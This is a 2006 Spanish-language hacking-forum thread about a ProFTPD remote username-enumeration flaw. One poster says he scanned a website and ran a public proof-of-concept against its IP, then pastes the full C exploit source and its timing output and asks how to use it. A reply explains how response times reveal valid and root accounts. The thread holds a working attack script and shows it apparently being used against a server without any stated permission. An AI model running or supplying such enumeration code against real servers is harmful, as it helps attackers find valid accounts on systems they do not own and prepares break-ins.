elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 15:39  


Tema destacado: Recuperar cuenta de Google, GMail, Youtube

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  proftpd y enumeracion de usuarios
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: proftpd y enumeracion de usuarios  (Leído 1,345 veces)
SheKeL_C$


Desconectado Desconectado

Mensajes: 510


_-=[Sh3K3L_C$]=-_


Ver Perfil
proftpd y enumeracion de usuarios
« en: 29 Enero 2006, 22:12 »

lo 1 q e exo es scanear una web y m salta con varias vulnerabilidades y e escogido una sencilla, la de enumerar si existe un usuario, m e bajado el codigo y lo e compilado con el cygwin.

Código:
gcc proftpd_enum.c -o proftp.exe

despues de compilarlo( q no m a dado ningun error).

Código:
proftp.exe xxx:xxx:xxx:xxx

la x es la ip

m a respondido con esto

Código:
Proftpd remote users discovery exploit
 Coded by Leon / LSS Security
>-------------------------------------<
Login time:  144000 | 176000 | 152000 | 171000 | -782000 | 157000 | 133000 | 139
000 |
Avrg: 36250

m imagino q por lo de time y por intuicion q sera el tiempo de respuesta en milisegundos.
En línea

En un momento complicado de mi vida quise suicidarme y cinco minutos despues quise quedarme

Peliculas en mp4 para el ipod/iphone/psp
Ivanchuk


Desconectado Desconectado

Mensajes: 466


LLVM


Ver Perfil WWW
Re: proftpd y enumeracion de usuarios
« Respuesta #1 en: 30 Enero 2006, 05:41 »

Te cuento de que va esa vulnerabilidad. No se que hace el codigo que estas usando, pero deberias haber ingresado algun nombre de usuario. La vulnerabilidad consta de tirar varios comandos user, y basandote en el tiempo de respuesta del servidor podes saber si el nombre de usuario es valido o tambien si ese usuario es root. Tenes que conocer acerca de los tiempos de respuesta. En mi opinio no es demasiado util.
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
SheKeL_C$


Desconectado Desconectado

Mensajes: 510


_-=[Sh3K3L_C$]=-_


Ver Perfil
Re: proftpd y enumeracion de usuarios
« Respuesta #2 en: 30 Enero 2006, 21:08 »

El codigo q utilizo es este

Código:
// ProFTPd remote users discovery based on code execution time - POC exploit
// Coded by Leon Juranic // http://www.lss.hr

#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <sys/time.h>

#define PORT 21
#define PROBE 8

main (int argc, char **argv)
{
  int sock,n,y;
  long dist,stat=0;
  struct sockaddr_in sin;
  char buf[1024], buf2[1024];
  struct timeval tv, tv2;
  struct timezone tz, tz2;

  printf ("Proftpd remote users discovery exploit
"
          " Coded by Leon / LSS Security
"
          ">-------------------------------------<
");

  if (argc != 3) { printf ("usage: %s ",argv[0]); exit(0); }
 
  sock = socket (AF_INET, SOCK_STREAM, 0);
  sin.sin_family = AF_INET;
  sin.sin_port = htons (PORT);
  sin.sin_addr.s_addr = inet_addr (argv[1]);
  bzero (sin.sin_zero,8);

  connect (sock, (struct sockaddr*)&sin, sizeof(struct sockaddr));

  printf ("Login time: ");
  n = read (sock,buf2, sizeof(buf2));
  for (y=0;y<PROBE;y++) {
     gettimeofday (&tv,&tz);
     snprintf (buf, sizeof(buf)-1,"USER %s
",argv[2]);
     write (sock, buf, strlen(buf));
     n = read (sock,buf2, sizeof(buf2));
     gettimeofday (&tv2,&tz2);
     dist =tv2.tv_usec - tv.tv_usec;
     stat += dist;
     printf (" %d |",dist);
  }
  printf ("
Avrg: %d
",(stat/PROBE));
  close (sock);
}

yo no s muxo dl lenguaje c

si m pudiese decir la forma de ejecutarlo
por ejemplo:
proftpd_enum xxx.xxx.xxx.xxx -u admin

y lo de los tiempos de respuesta :huh: :huh: no se como interpretarlo, si m pudieses decir de donde leer¿¿ xq yo no encuentro nada
En línea

En un momento complicado de mi vida quise suicidarme y cinco minutos despues quise quedarme

Peliculas en mp4 para el ipod/iphone/psp
Ivanchuk


Desconectado Desconectado

Mensajes: 466


LLVM


Ver Perfil WWW
Re: proftpd y enumeracion de usuarios
« Respuesta #3 en: 31 Enero 2006, 16:24 »

Aca se explica lo que te contaba:
ProFTPD Remote Users Enumeration
Fijate como segun el tiempo de respuesta identifican usuario validos y no validos.
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines